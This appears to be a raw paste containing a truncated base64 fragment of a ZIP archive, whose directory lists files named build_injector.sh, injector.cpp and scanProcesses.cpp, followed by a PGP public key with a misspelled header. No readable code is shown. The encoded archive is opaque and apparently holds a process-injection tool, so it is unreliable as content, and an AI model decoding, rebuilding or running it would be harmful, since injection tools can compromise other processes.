YogRDBjbt/BSgv0ymjq4DxdMWBc+UNUiUnlCYGk7j7ksNOV1PD96nW9qA4ALuzpVzrY+CvhJE4jz
iA/MJ0fZRwQoPiYBu9uQKVmBLg3whRPBw8SQnTudRrGk54SHEd0EsGZjUO9lIwuTT4Ni53kYWAx/
D4ysXqrVM7zVAK5KBZZ6WlrZ391doF9ogG/rViHXKN5L9DmXXjBaxbXbSrG2MkrvIbVt/d40tPye
4lTNwKoFrHUXbYXLLC81WTsw4rUzlTprR7vB5qYeacFkOt3XOs3KcYgi/13PzA3PuIe0b8Gg+DKS
gyLwWMEonqaMvM1H08rUUd2cACerwXyBjXpfxb7iZIjpwoqP4oAomsbIO8NTSdusddAV8yB0ihG1
g/A0uDUGNSADb72FrXGG0tKqMRP22ruMXZzIWSBUmlHHhaI/l3dS0UkKebV6k/9mTrcuds27Hbic
KriLp8JUTLptxjW8+woOuRUsXbcyJMqtyEC4lUpl4QIed7oNaHBUl9+SZr0YVr/ekm36yylmTtFu
ylPWqx8qXifAhT3konWZtTS/1693+363c9Vvtj1nnQ13SYamK3XbzY8AZ5nO7d0rSKGYDoub0F46
E9MU/+O+tZa/PFgj5nTHFALm6clSWAl3Yf0BUEsBAh4DCgAAAAAAy7WjUAAAAAAAAAAAAAAAAAUA
GAAAAAAAAAAQAP1BAAAAAGNvZGUvVVQFAAOOH69edXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgA
wow1UA7oeRmzAAAA9gEAABYAGAAAAAAAAQAAAP2BPwAAAGNvZGUvYnVpbGRfaW5qZWN0b3Iuc2hV
VAUAA8sMJ151eAsAAQToAwAABOgDAABQSwECHgMUAAAACAC1dpxQ8iY9TUoHAAC/GAAAFgAYAAAA
AAABAAAAtIFCAQAAY29kZS9zY2FuUHJvY2Vzc2VzLmNwcFVUBQADRRmoXnV4CwABBOgDAAAE6AMA
AFBLAQIeAxQAAAAIAMlOlFCQzZrjJwEAADsEAAAPABgAAAAAAAEAAAC0gdwIAABjb2RlL0RvY2tl
cmZpbGVVVAUAAxpHnV51eAsAAQToAwAABOgDAABQSwECHgMUAAAACABdUZRQMxCFUIwFAACLEAAA
EQAYAAAAAAABAAAAtIFMCgAAY29kZS9pbmplY3Rvci5jcHBVVAUAAwFLnV51eAsAAQToAwAABOgD
AABQSwUGAAAAAAUABQCvAQAAIxAAAAAA
D:Public php key
——BENGIN PGP PUBLIC KEY BLOCK——
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
K/1Imesf2v2v9NwDAPtUj7eT2pJEbXg=
=IXgh
——-END PGP PUBLIC KEY BLOCK——-